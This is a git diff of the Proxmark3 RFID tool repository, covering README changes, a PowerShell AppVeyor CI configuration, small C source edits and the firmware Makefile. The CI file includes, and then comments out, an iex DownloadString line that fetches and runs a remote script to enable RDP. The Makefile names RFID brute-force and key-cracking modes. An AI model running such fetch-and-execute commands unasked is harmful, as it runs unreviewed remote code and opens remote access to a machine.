[![Build status](https://ci.appveyor.com/api/projects/status/ct5blik2wa96bv0x/branch/master?svg=true)](https://ci.appveyor.com/project/iceman1001/proxmark3-ji4wj/branch/master)
[![Latest release](https://img.shields.io/github/release/RfidResearchGroup/proxmark3.svg)](https://github.com/RfidResearchGroup/proxmark3/releases/latest)
| Releases | Linux & OSX CI | Windows CI | Coverity |
| ------------------- |:-------------------:| -------------------:| -------------------:|
| [![Latest release](https://img.shields.io/github/release/RfidResearchGroup/proxmark3.svg)](https://github.com/RfidResearchGroup/proxmark3/releases/latest) | [![Build status](https://travis-ci.org/RfidResearchGroup/proxmark3.svg?branch=master)](https://travis-ci.org/RfidResearchGroup/proxmark3) | [![Build status](https://ci.appveyor.com/api/projects/status/b4gwrhq3nc876cuu/branch/master?svg=true)](https://ci.appveyor.com/project/RfidResearchGroup/proxmark3/branch/master) | [![Coverity Status](https://scan.coverity.com/projects/19334/badge.svg)](https://scan.coverity.com/projects/proxmark3-rrg-iceman-repo)|
---
# PROXMARK INSTALLATION AND OVERVIEW
| FAQ's & Updates | Installation | Use of the Proxmark |
| ------------------- |:-------------------:| -------------------:|
|[What has changed?](#what-has-changed) | [Setup and build for Linux](/doc/md/Installation_Instructions/Linux-Installation-Instructions.md) | [Compilation Instructions](/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md)|
|[Development](#development) | [Important notes on ModemManager for Linux users](/doc/md/Installation_Instructions/ModemManager-Must-Be-Discarded.md) | [Validating proxmark client functionality](/doc/md/Use_of_Proxmark/1_Validation.md) |
|[Why didn't you base it on official PM3 Master?](#why-didnt-you-base-it-on-official-pm3-master)| [Homebrew (Mac OS X) & Upgrading HomeBrew Tap Formula](/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md) | [First Use and Verification](/doc/md/Use_of_Proxmark/2_Configuration-and-Verification.md)|
|[PM3 GUI](#pm3-gui)|[Setup and build for Windows](/doc/md/Installation_Instructions/Windows-Installation-Instructions.md)|[Commands & Features](/doc/md/Use_of_Proxmark/3_Commands-and-Features.md)|
|[Issues](#issues)|[Blue shark manual](/doc/bt_manual_v10.md) ||
|[Notes on UART](/doc/uart_notes.md)|||
|[Notes on Frame format](/doc/new_frame_format.md)|||
|[What has changed?](#what-has-changed) | **[Setup and build for Linux](/doc/md/Installation_Instructions/Linux-Installation-Instructions.md)** | [Compilation Instructions](/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md)|
|[Development](#development) | **[Important notes on ModemManager for Linux users](/doc/md/Installation_Instructions/ModemManager-Must-Be-Discarded.md)** | [Validating proxmark client functionality](/doc/md/Use_of_Proxmark/1_Validation.md) |
|[Why didn't you base it on official Proxmark3 Master?](#why-didnt-you-base-it-on-official-proxmark3-master)| **[Homebrew (Mac OS X) & Upgrading HomeBrew Tap Formula](/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md)** | [First Use and Verification](/doc/md/Use_of_Proxmark/2_Configuration-and-Verification.md)|
|[Proxmark3 GUI](#proxmark3-gui)|**[Setup and build for Windows](/doc/md/Installation_Instructions/Windows-Installation-Instructions.md)**|[Commands & Features](/doc/md/Use_of_Proxmark/3_Commands-and-Features.md)|
|[Issues](#issues)|[Blue shark manual](/doc/bt_manual_v10.md) |[Advanced compilation parameters](/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md)|
|[Notes on UART](/doc/uart_notes.md)|[Maintainers](/doc/md/Development/Maintainers.md)|[Command Cheat sheet](/doc/cheatsheet.md)|
|[Notes on frame format](/doc/new_frame_format.md)||[More cheat sheets](https://github.com/RfidResearchGroup/proxmark3/wiki/More-cheat-sheets)|
|[Notes on external flash](/doc/ext_flash_notes.md)||[EMV](/doc/emv_notes.md)|
|[Notes on Termux / Android](/doc/termux_notes.md)||[Troubleshooting](/doc/md/Installation_Instructions/Troubleshooting.md)|
|[Notes on tracedata / wireshark](/doc/trace_notes.md)||[JTAG](/doc/jtag_notes.md)|
|[Notes on loclass](/doc/loclass_notes.md)||[Complete client command set](/doc/commands.md)|
|[Notes on paths](/doc/path_notes.md)|||
|[Developing standalone mode](/armsrc/Standalone/readme.md)|[Wiki about standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode) ||
|[Donations](#Donations)|||
## Build for non-RDV4 Proxmark3 platforms
In order to build this repo for other Proxmark3 platforms we urge you to read [Advanced compilation parameters](/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md)
## What has changed?
On the hardware side:
@ -32,28 +43,50 @@ On the hardware side:
On the software side: quite a lot, see the [Changelog file](CHANGELOG.md).
## Development
This fork now compiles just fine on
> ⚠ **Note**: This is a bleeding edge repository. The maintainers actively is working out of this repository and will be periodically re-structuring the code to make it easier to comprehend, navigate, build, test, and contribute to, so **DO expect significant changes to code layout on a regular basis**.
This repo compiles nicely on
- Proxspace v3.x
- Windows/mingw environment with Qt5.6.1 & GCC 4.8
- Ubuntu 1404, 1510, 1604, 1804, 1904
- Ubuntu 1604, 1804, 1904
- Mac OS X / Homebrew
- ParrotOS
- WSL (Windows subsystem linux) on Windows 10
- ParrotOS, Gentoo, Pentoo, Kali, Nethunter, Archlinux, Fedora
- WSL, WSL2 (Windows subsystem linux) on Windows 10
- Docker container
If you intend to contribute to the code, please read the [coding style notes](HACKING.md) first.
The [public roadmap](https://github.com/RfidResearchGroup/proxmark3/wiki/Public-Roadmap) is an excellent start to read if you are interesting in contributing.
- Internal notes on [Coverity Scan Config & Run](/doc/md/Development/Coverity-Scan-Config-%26-Run.md).
- Internal notes on UART
- Internal notes on Frame format
- Internal notes on standalone mode
> 👉 **Remember!** If you intend to contribute to the code, please read the [coding style notes](HACKING.md) first.
We usually merge your contributions fast since we do like the idea of getting a functionality in the Proxmark3 and weed out the bugs afterwards.
## Notes / helpful documents
- notes on [Coverity Scan Config & Run](/doc/md/Development/Coverity-Scan-Config-%26-Run.md).
- notes on [UART](/doc/uart_notes.md)
- notes on [Frame format](/doc/new_frame_format.md)
- notes on [external flash](/doc/ext_flash_notes.md)
- notes on [standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode)
- notes on [Termux / Android](/doc/termux_notes.md)
- notes on [tracedata / Wireshark](/doc/trace_notes.md)
- notes on [loclass](/doc/loclass_notes.md)
- notes on [EMV](/doc/emv_notes.md)
- notes on [Paths](/doc/path_notes.md)
- notes on [file formats used with Proxmark3](/doc/extensions_notes.md)
## Cheat sheet
Thanks to Alex Dibs, you can enjoy a [command cheat sheet](/doc/cheatsheet.md)
## Maintainers ( package, distro )
To all distro, package maintainers, we tried to make your life easier. `make install` is now available and if you want to know more.
- [Maintainers](/doc/md/Development/Maintainers.md)
## Why didn't you base it on official Proxmark3 Master?
The separation from official Proxmark3 repo gives us a lot of freedom to create a firmware/client that suits the RDV40 features. We don't want to mess up the official Proxmark3 repo with RDV40 specific code.
## Proxmark3 GUI
The official PM3-GUI from Gaucho will not work.
The new universal GUI will work. [Proxmark3 Universal GUI](https://github.com/burma69/PM3UniversalGUI) Almost, change needed in order to show helptext when client isn't connected to a device.
@ -61,16 +94,18 @@ The new universal GUI will work. [Proxmark3 Universal GUI](https://github.com/bu
Please see the [Proxmark Forum](http://www.proxmark.org/forum/index.php) and see if your issue is listed in the first instance Google is your friend :) Questions will be answered via the forum by Iceman and the team.
It's needed to have a good USB cable to connect Proxmark3 to USB. If you have stability problems (Proxmark3 resets, firmware hangs, especially firmware hangs just after start, etc.) - check your cable with a USB tester (or try to change it). It needs to have a resistance smaller or equal to 0.3 Ohm.
Read the [Troubleshooting](/doc/md/Installation_Instructions/Troubleshooting.md) guide to weed out most known problems.
## The end
- [@herrmann1001](https://mobile.twitter.com/herrmann1001) July 2018
- July 2018 [@herrmann1001](https://mobile.twitter.com/herrmann1001)
- updated Feb 2019 [@5w0rdfish](https://mobile.twitter.com/5w0rdFish)
- updated 2019 [@doegox](https://mobile.twitter.com/doegox)
# Donations
Nothing says thank you as much as a donation. So if you feel the love, do feel free to become a iceman patron. For some tiers it comes with rewards.
https://www.patreon.com/iceman1001
All support is welcome!

View file

@ -24,7 +24,7 @@ init:
Add-AppveyorMessage -Message "[$env:APPVEYOR_REPO_COMMIT_SHORT]$env:appveyor_repo_name($env:APPVEYOR_REPO_BRANCH)" -Category Information -Details "repository: $env:appveyor_repo_name branch: $env:APPVEYOR_REPO_BRANCH release: $releasename"
iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/appveyor/ci/master/scripts/enable-rdp.ps1'))
# iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/appveyor/ci/master/scripts/enable-rdp.ps1'))
clone_script:
- ps: >-
Write-Host "Removing ProxSpace..." -NoNewLine
@ -43,6 +43,12 @@ clone_script:
Write-Host "[ OK ]" -ForegroundColor Green
if(!(Test-Path -Path C:\ProxSpace\pm3)){
New-Item -ItemType Directory -Force -Path C:\ProxSpace\pm3
}
Write-Host "Removing pm3 dir..." -NoNewLine
Remove-Item -Recurse -Force -Path c:\ProxSpace\pm3\*
@ -73,14 +79,81 @@ clone_script:
Write-Host "[ OK ]" -ForegroundColor Green
Write-Host "Update msys2 packages..." -NoNewLine
Write-Host "Update msys2 packages..."
$env:Path = "C:\ProxSpace\msys2\usr\bin;C:\ProxSpace\msys2\mingw32\bin;C:\ProxSpace\gcc-arm-none-eabi\bin;$env:Path"
Function ExecUpdate($Name, $Cmd, $ErrorLine) {
C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null 1> msys1.txt 2>&1
Write-Host "Exec [$Name]... " -NoNewLine
#--- begin Job
$Job = Start-Job -Name "$Name" -ScriptBlock {
$env:Path = "C:\ProxSpace\msys\bin;$env:Path"
Set-Location $using:PWD
C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null 1> msys1.txt 2>&1
$sb=[scriptblock]::Create("$using:Cmd")
#execute scriptblock
$Cond=&$sb
return $Cond
}
#--- end Job
$JobTime=[System.Environment]::TickCount
while($true) {
Try {
$Res = Receive-Job -Job $Job -Keep 2>&1 6>&1
}
Catch {
$Res = ""
Write-host "error in Receive-Job"
}
if ($Res -is "String" -and $Res -like "*$ErrorLine*"){
Write-host "Exit by stop phrase" -ForegroundColor Green
break
}
if ($Res -is [Object]){
[bool]$needexit = $false
ForEach($line in $Res){
if ($line -like "*$ErrorLine*"){
Write-host "Exit by stop phrase [obj]" -ForegroundColor Green
$needexit = $true
break
}
}
if ($needexit) {
break
}
}
if(Wait-Job $Job -Timeout 5){
Write-host "Exit by end job" -ForegroundColor Green
break
}
if ([System.Environment]::TickCount-$JobTime -gt 1000000) {
Write-host "Exit by timeout" -ForegroundColor Yellow
break
}
}
Remove-Job -Force $Job
}
cd C:\ProxSpace\
C:\ProxSpace\msys2\ps\setup.cmd
ExecUpdate "update1" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2"
ExecUpdate "update2" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2"
Write-Host "Update " -NoNewLine
Write-Host "[ OK ]" -ForegroundColor Green
install:
- ps: >-
@ -110,6 +183,7 @@ build_script:
$env:MSYSTEM_CHOST="i686-w64-mingw32"
cd C:\ProxSpace\pm3
#make
@ -130,54 +204,38 @@ build_script:
}
if(!(Test-Path C:\ProxSpace\pm3\client\hardnested\tables\*.bin.z)){
if(!(Test-Path C:\ProxSpace\pm3\client\resources\hardnested_tables\*.bin.z)){
throw "Files in hardnested\tables not exists."
throw "Files in client\resources\hardnested_tables is not exists."
}
#copy
#install
Write-Host "Copy release files..." -NoNewLine -ForegroundColor Yellow
Write-Host "Installing..." -NoNewLine -ForegroundColor Yellow
New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release
New-Item -ItemType Directory -Force -Path C:\ProxSpace\pm3\Release\bin
Copy-Item C:\ProxSpace\pm3\client\*.exe C:\ProxSpace\Release
bash -c -i 'make install DESTDIR=Release PREFIX='
New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release\arm
Copy-Item C:\ProxSpace\pm3\armsrc\obj\*.elf C:\ProxSpace\Release\arm
Copy-Item C:\ProxSpace\pm3\bootrom\obj\*.elf C:\ProxSpace\Release\arm
New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release\scripts
Copy-Item C:\ProxSpace\pm3\client\scripts\*.lua C:\ProxSpace\Release\scripts
New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release\hardnested\tables
Copy-Item C:\ProxSpace\pm3\client\hardnested\*.bin C:\ProxSpace\Release\hardnested
Copy-Item C:\ProxSpace\pm3\client\hardnested\tables\*.bin.z C:\ProxSpace\Release\hardnested\tables
# dll files
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libgcc_s_dw2-1.dll C:\ProxSpace\Release
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libgcc_s_dw2-1.dll C:\ProxSpace\pm3\Release\bin
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libstdc++-6.dll C:\ProxSpace\Release
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libstdc++-6.dll C:\ProxSpace\pm3\Release\bin
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libwinpthread-1.dll C:\ProxSpace\Release
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libwinpthread-1.dll C:\ProxSpace\pm3\Release\bin
Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Core.dll C:\ProxSpace\Release
Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Core.dll C:\ProxSpace\pm3\Release\bin
Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Gui.dll C:\ProxSpace\Release
Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Gui.dll C:\ProxSpace\pm3\Release\bin
Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Widgets.dll C:\ProxSpace\Release
Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Widgets.dll C:\ProxSpace\pm3\Release\bin
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libreadline*.dll C:\ProxSpace\Release
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libreadline*.dll C:\ProxSpace\pm3\Release\bin
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libtermcap-0.dll C:\ProxSpace\Release
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libtermcap-0.dll C:\ProxSpace\pm3\Release\bin
Write-Host "[ OK ]" -ForegroundColor Green
@ -199,7 +257,7 @@ build_script:
cd C:\ProxSpace
7z a release.zip C:\ProxSpace\Release
7z a release.zip C:\ProxSpace\pm3\Release
Push-AppveyorArtifact release.zip -DeploymentName "$releasename"
@ -218,7 +276,7 @@ test_script:
Function ExecTest($Name, $File, $Cmd, $CheckResult) {
#--- begin Job
$Job = Start-Job -ScriptBlock {
@ -256,6 +314,13 @@ test_script:
if ($Cond -is "String" -and $Cond -like "*true*"){
$res= $true
}
ForEach($line in $Cond){
if ($line -like "*passed*"){
$res = $true
$Cond = $line
break
}
}
} Else {
$res=$Cond
}
@ -287,6 +352,7 @@ test_script:
Remove-Job -Force $Job
if(!$res){
Write-host "--------------------- tests fail" -ForegroundColor Red
$global:TestsPassed=$false
}
}
@ -297,34 +363,39 @@ test_script:
#file test
ExecTest "proxmark3 exists" "proxmark3.exe" {Test-Path C:\ProxSpace\Release\proxmark3.exe}
ExecTest "proxmark3 exists" "proxmark3.exe" {Test-Path C:\ProxSpace\pm3\Release\bin\proxmark3.exe}
ExecTest "arm image exists" "\arm\fullimage1.elf" {Test-Path C:\ProxSpace\Release\arm\fullimage.elf}
ExecTest "arm bootrom exists" "bootrom.elf" {Test-Path C:\ProxSpace\pm3\Release\share\proxmark3\firmware\bootrom.elf}
ExecTest "bootrom exists" "bootrom.elf" {Test-Path C:\ProxSpace\Release\arm\bootrom.elf}
ExecTest "arm image exists" "fullimage.elf" {Test-Path C:\ProxSpace\pm3\Release\share\proxmark3\firmware\fullimage.elf}
ExecTest "hardnested tables exists" "hardnested" {Test-Path C:\ProxSpace\Release\hardnested\tables\*.z}
ExecTest "arm recovery image exists" "proxmark3_recovery.bin" {Test-Path C:\ProxSpace\pm3\Release\share\proxmark3\firmware\proxmark3_recovery.bin}
ExecTest "hardnested tables exists" "hardnested" {Test-Path C:\ProxSpace\pm3\Release\share\proxmark3\resources\hardnested_tables\*.z}
ExecTest "release exists" "release.zip" {Test-Path C:\ProxSpace\release.zip}
#proxmark logic tests
ExecTest "proxmark help" "proxmark3 -h" {bash -lc 'cd ~/client;./proxmark3 -h | grep -q wait && echo Passed || echo Failed'}
ExecTest "proxmark help" "proxmark3 -h" {bash -lc 'cd ~/client;./proxmark3 -h 2>&1 | grep -q wait && echo passed || echo failed'}
ExecTest "proxmark help text ISO7816" "proxmark3 -t" {bash -lc 'cd ~/client;./proxmark3 -t 2>&1 | grep -q ISO7816 && echo Passed || echo Failed'}
ExecTest "proxmark help text ISO7816" "proxmark3 -t" {bash -lc 'cd ~/client;./proxmark3 -t 2>&1 | grep -q ISO7816 && echo passed || echo failed'}
ExecTest "proxmark help text hardnested" "proxmark3 -t" {bash -lc 'cd ~/client;./proxmark3 -t 2>&1 | grep -q hardnested && echo Passed || echo Failed'}
ExecTest "proxmark help text hardnested" "proxmark3 -t" {bash -lc 'cd ~/client;./proxmark3 -t 2>&1 | grep -q hardnested && echo passed || echo failed'}
ExecTest "hf mf offline text" "hf mf" {bash -lc "cd ~/client;./proxmark3 -c 'hf mf'"} "at_enc"
ExecTest "hf mf hardnested" "hf mf hardnested" {bash -lc "cd ~/client;./proxmark3 -c 'hf mf hardnested t 1 000000000000'"} "found:"
#proxmark crypto tests
ExecTest "emv test" "emv test" {bash -lc "cd ~/client;./proxmark3 -c 'emv test'"} "Test?s? ? OK"
# Long tests:
# ExecTest "hf mf hardnested" "hf mf hardnested" {bash -lc "cd ~/client;./proxmark3 -c 'hf mf hardnested t 1 000000000000'"} "found:"
# ExecTest "hf mf iclass" "hf mf iclass" {bash -lc "cd ~/client;./proxmark3 -c 'hf iclass loclass t l'"} "verified ok"
# ExecTest "emv test" "emv test" {bash -lc "cd ~/client;./proxmark3 -c 'emv test -i -l'"} "Test?s? ? OK"
# Short tests:
ExecTest "hf mf iclass" "hf mf iclass" {bash -lc "cd ~/client;./proxmark3 -c 'hf iclass loclass t'"} "OK!"
ExecTest "emv test" "emv test" {bash -lc "cd ~/client;./proxmark3 -c 'emv test -i'"} "Test?s? ? OK"
if ($global:TestsPassed) {
@ -338,4 +409,4 @@ on_success:
on_failure:
- ps: Write-Host "Build error." -ForegroundColor Red
on_finish:
- ps: $blockRdp = $false; iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/appveyor/ci/master/scripts/enable-rdp.ps1'))
- ps: # $blockRdp = $false; iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/appveyor/ci/master/scripts/enable-rdp.ps1'))

View file

@ -10,6 +10,9 @@
//-----------------------------------------------------------------------------
#include "BigBuf.h"
#include "string.h"
#include "dbprint.h"
// BigBuf is the large multi-purpose buffer, typically used to hold A/D samples or traces.
// Also used to hold various smaller buffers and the Mifare Emulator Memory.
// declare it as uint32_t to achieve alignment to 4 Byte boundary
@ -112,9 +115,11 @@ uint16_t BigBuf_max_traceLen(void) {
void clear_trace(void) {
traceLen = 0;
}
void set_tracelen(uint32_t value) {
traceLen = value;
}
void set_tracing(bool enable) {
tracing = enable;
}

View file

@ -12,10 +12,7 @@
#ifndef __BIGBUF_H
#define __BIGBUF_H
#include <stdbool.h> // for bool
#include "proxmark3.h"
#include "string.h"
#include "ticks.h"
#include "common.h"
#define BIGBUF_SIZE 40000
#define MAX_FRAME_SIZE 256 // maximum allowed ISO14443 frame
@ -43,4 +40,5 @@ void set_tracelen(uint32_t value);
bool get_tracing(void);
bool RAMFUNC LogTrace(const uint8_t *btBytes, uint16_t iLen, uint32_t timestamp_start, uint32_t timestamp_end, uint8_t *parity, bool readerToTag);
uint8_t emlSet(uint8_t *data, uint32_t offset, uint32_t length);
#endif /* __BIGBUF_H */

View file

@ -5,7 +5,7 @@
//-----------------------------------------------------------------------------
// LCD code
//-----------------------------------------------------------------------------
#include "LCD.h"
#include "LCD_disabled.h"
void LCDSend(unsigned int data) {
// 9th bit set for data, clear for command

View file

@ -9,10 +9,6 @@
#ifndef __LCD_H
#define __LCD_H
#include "proxmark3.h"
#include "apps.h"
#include "fonts.h"
// The resolution of the LCD
#define LCD_XRES 132
#define LCD_YRES 132

View file

@ -2,16 +2,14 @@
# at your option, any later version. See the LICENSE.txt file for the text of
# the license.
#-----------------------------------------------------------------------------
# Makefile for armsrc, see ../common/Makefile.common for common settings
# Makefile for armsrc, see ../common_arm/Makefile.common for common settings
#-----------------------------------------------------------------------------
APP_INCLUDES = apps.h
# This Makefile might have been called directly, not via the root Makefile, so:
ifeq ($(PLTNAME),)
-include ../Makefile.platform
-include ../.Makefile.options.cache
include ../common/Makefile.hal
include ../common_arm/Makefile.hal
# detect if there were changes in the platform definitions, requiring a clean
ifeq ($(PLATFORM_CHANGED), true)
$(error platform definitions have been changed, please "make clean" at the root of the project)
@ -25,22 +23,27 @@ APP_CFLAGS = $(PLATFORM_DEFS) \
-DON_DEVICE \
-fno-strict-aliasing -ffunction-sections -fdata-sections
SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c
SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c lfadc.c
SRC_ISO15693 = iso15693.c iso15693tools.c
SRC_ISO14443a = iso14443a.c mifareutil.c mifarecmd.c epa.c mifaresim.c
#UNUSED: mifaresniff.c desfire_crypto.c
SRC_ISO14443b = iso14443b.c
SRC_FELICA = felica.c
SRC_CRAPTO1 = crypto1.c des.c aes.c desfire_key.c desfire_crypto.c mifaredesfire.c
SRC_CRAPTO1 = crypto1.c des.c desfire_key.c mifaredesfire.c aes.c platform_util.c
SRC_CRC = crc.c crc16.c crc32.c
SRC_ICLASS = iclass.c optimized_cipher.c
SRC_LEGIC = legicrf.c legicrfsim.c legic_prng.c
SRC_NFCBARCODE = thinfilm.c
# SRC_BEE = bee.c
# RDV40 related hardware support
ifneq (,$(findstring WITH_FLASH,$(APP_CFLAGS)))
SRC_FLASH = flashmem.c
SRC_SPIFFS = spiffs.c spiffs_cache.c spiffs_check.c spiffs_gc.c spiffs_nucleus.c spiffs_hydrogen.c
else
SRC_FLASH =
SRC_SPIFFS =
endif
ifneq (,$(findstring WITH_SMARTCARD,$(APP_CFLAGS)))
@ -68,41 +71,7 @@ else
endif
# Generic standalone Mode injection of source code
SRC_STANDALONE = placeholder.c
# WITH_STANDALONE_LF_ICERUN
ifneq (,$(findstring WITH_STANDALONE_LF_ICERUN,$(APP_CFLAGS)))
SRC_STANDALONE = lf_icerun.c
endif
# WITH_STANDALONE_LF_SAMYRUN
ifneq (,$(findstring WITH_STANDALONE_LF_SAMYRUN,$(APP_CFLAGS)))
SRC_STANDALONE = lf_samyrun.c
endif
# WITH_STANDALONE_LF_PROXBRUTE
ifneq (,$(findstring WITH_STANDALONE_LF_PROXBRUTE,$(APP_CFLAGS)))
SRC_STANDALONE = lf_proxbrute.c
endif
# WITH_STANDALONE_LF_HIDBRUTE
ifneq (,$(findstring WITH_STANDALONE_LF_HIDBRUTE,$(APP_CFLAGS)))
SRC_STANDALONE = lf_hidbrute.c
endif
# WITH_STANDALONE_HF_YOUNG
ifneq (,$(findstring WITH_STANDALONE_HF_YOUNG,$(APP_CFLAGS)))
SRC_STANDALONE = hf_young.c
endif
# WITH_STANDALONE_HF_MATTYRUN
ifneq (,$(findstring WITH_STANDALONE_HF_MATTYRUN,$(APP_CFLAGS)))
SRC_STANDALONE = hf_mattyrun.c
endif
# WITH_STANDALONE_HF_COLIN
ifneq (,$(findstring WITH_STANDALONE_HF_COLIN,$(APP_CFLAGS)))
SRC_STANDALONE = vtsend.c hf_colin.c
endif
# WITH_STANDALONE_HF_BOG
ifneq (,$(findstring WITH_STANDALONE_HF_BOG,$(APP_CFLAGS)))
SRC_STANDALONE = hf_bog.c
endif
include Standalone/Makefile.inc
#the FPGA bitstream files. Note: order matters!
FPGA_BITSTREAMS = fpga_lf.bit fpga_hf.bit
@ -113,7 +82,7 @@ SRC_ZLIB = inflate.c inffast.c inftrees.c adler32.c zutil.c
ZLIB_CFLAGS = -DZ_SOLO -DZ_PREFIX -DNO_GZIP -DZLIB_PM3_TUNED
APP_CFLAGS += $(ZLIB_CFLAGS)
# zlib includes:
APP_CFLAGS += -I../zlib
APP_CFLAGS += -I../common/zlib
# stdint.h provided locally until GCC 4.5 becomes C99 compliant,
# stack-protect , no-pie reduces size on Gentoo Hardened 8.2 gcc
@ -121,9 +90,9 @@ APP_CFLAGS += -I. -fno-stack-protector -fno-pie
# Compile these in thumb mode (small size)
THUMBSRC = start.c \
protocols.c \
$(SRC_LCD) \
$(SRC_ISO15693) \
$(SRC_NFCBARCODE) \
$(SRC_LF) \
$(SRC_ZLIB) \
$(SRC_LEGIC) \
@ -131,13 +100,16 @@ THUMBSRC = start.c \
$(SRC_SMARTCARD) \
$(SRC_FPC) \
$(SRC_HITAG) \
$(SRC_SPIFFS) \
appmain.c \
printf.c \
dbprint.c \
commonutil.c \
util.c \
string.c \
BigBuf.c \
ticks.c \
clocks.c \
hfsnoop.c
@ -159,12 +131,19 @@ VERSIONSRC = version.c \
fpga_version_info.c
# Do not move this inclusion before the definition of {THUMB,ASM,ARM}SRC
include ../common/Makefile.common
include ../common_arm/Makefile.common
COMMON_FLAGS = -Os
INSTALLFW = $(OBJDIR)/fullimage.elf
ifneq (,$(FWTAG))
INSTALLFWTAG = $(notdir $(INSTALLFW:%.elf=%-$(FWTAG).elf))
else
INSTALLFWTAG = $(notdir $(INSTALLFW))
endif
OBJS = $(OBJDIR)/fullimage.s19
FPGA_COMPRESSOR = ../client/fpga_compress
FPGA_COMPRESSOR = ../tools/fpga_compress/fpga_compress
all: $(OBJS)
@ -173,9 +152,9 @@ all: $(OBJS)
# version.c should be remade on every time fullimage.stage1.elf should be remade
version.c: default_version.c $(OBJDIR)/fpga_version_info.o $(OBJDIR)/fpga_all.o $(THUMBOBJ) $(ARMOBJ)
$(info [-] GEN $@)
$(Q)perl ../tools/mkversion.pl .. > $@ || $(COPY) $^ $@
$(Q)sh ../tools/mkversion.sh > $@ || perl ../tools/mkversion.pl > $@ || $(CP) $^ $@
fpga_version_info.c: $(FPGA_BITSTREAMS) $(FPGA_COMPRESSOR)
fpga_version_info.c: $(FPGA_BITSTREAMS) | $(FPGA_COMPRESSOR)
$(info [-] GEN $@)
$(Q)$(FPGA_COMPRESSOR) -v $(filter %.bit,$^) $@
@ -183,7 +162,7 @@ $(OBJDIR)/fpga_all.o: $(OBJDIR)/fpga_all.bit.z
$(info [-] GEN $@)
$(Q)$(OBJCOPY) -O elf32-littlearm -I binary -B arm --prefix-sections=fpga_all_bit $^ $@
$(OBJDIR)/fpga_all.bit.z: $(FPGA_BITSTREAMS) $(FPGA_COMPRESSOR)
$(OBJDIR)/fpga_all.bit.z: $(FPGA_BITSTREAMS) | $(FPGA_COMPRESSOR)
$(info [-] GEN $@)
ifeq ($(Q),@)
@$(FPGA_COMPRESSOR) $(filter %.bit,$^) $@ >/dev/null
@ -192,8 +171,8 @@ else
endif
$(FPGA_COMPRESSOR):
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C ../client $(notdir $(FPGA_COMPRESSOR))
$(error [!] MISSING $@ => To build it, go the root of the repo and do "make $(notdir $@)")
$(error [!] MISSING $@)
$(OBJDIR)/fullimage.stage1.elf: $(VERSIONOBJ) $(OBJDIR)/fpga_all.o $(THUMBOBJ) $(ARMOBJ)
$(info [=] LD $@)
@ -211,7 +190,7 @@ $(OBJDIR)/fullimage.data.bin: $(OBJDIR)/fullimage.stage1.elf
$(info [-] GEN $@)
$(Q)$(OBJCOPY) -O binary -I elf32-littlearm --only-section .data $^ $@
$(OBJDIR)/fullimage.data.bin.z: $(OBJDIR)/fullimage.data.bin $(FPGA_COMPRESSOR)
$(OBJDIR)/fullimage.data.bin.z: $(OBJDIR)/fullimage.data.bin | $(FPGA_COMPRESSOR)
$(info [-] GEN $@)
ifeq ($(Q),@)
@$(FPGA_COMPRESSOR) $(filter %.bin,$^) $@ >/dev/null
@ -232,18 +211,29 @@ tarbin: $(OBJS)
$(Q)$(TAR) $(TARFLAGS) ../proxmark3-$(platform)-bin.tar $(OBJS:%=armsrc/%) $(OBJS:%.s19=armsrc/%.elf)
clean:
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.o
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.elf
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.s19
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.map
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.d
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.z
$(Q)$(DELETE) $(OBJDIR)$(PATHSEP)*.bin
$(Q)$(DELETE) version.c
$(Q)$(RM) $(DEPENDENCY_FILES)
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.o
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.elf
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.s19
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.map
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.d
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.z
$(Q)$(RM) $(OBJDIR)$(PATHSEP)*.bin
$(Q)$(RM) version.c
.PHONY: all clean help
install: all
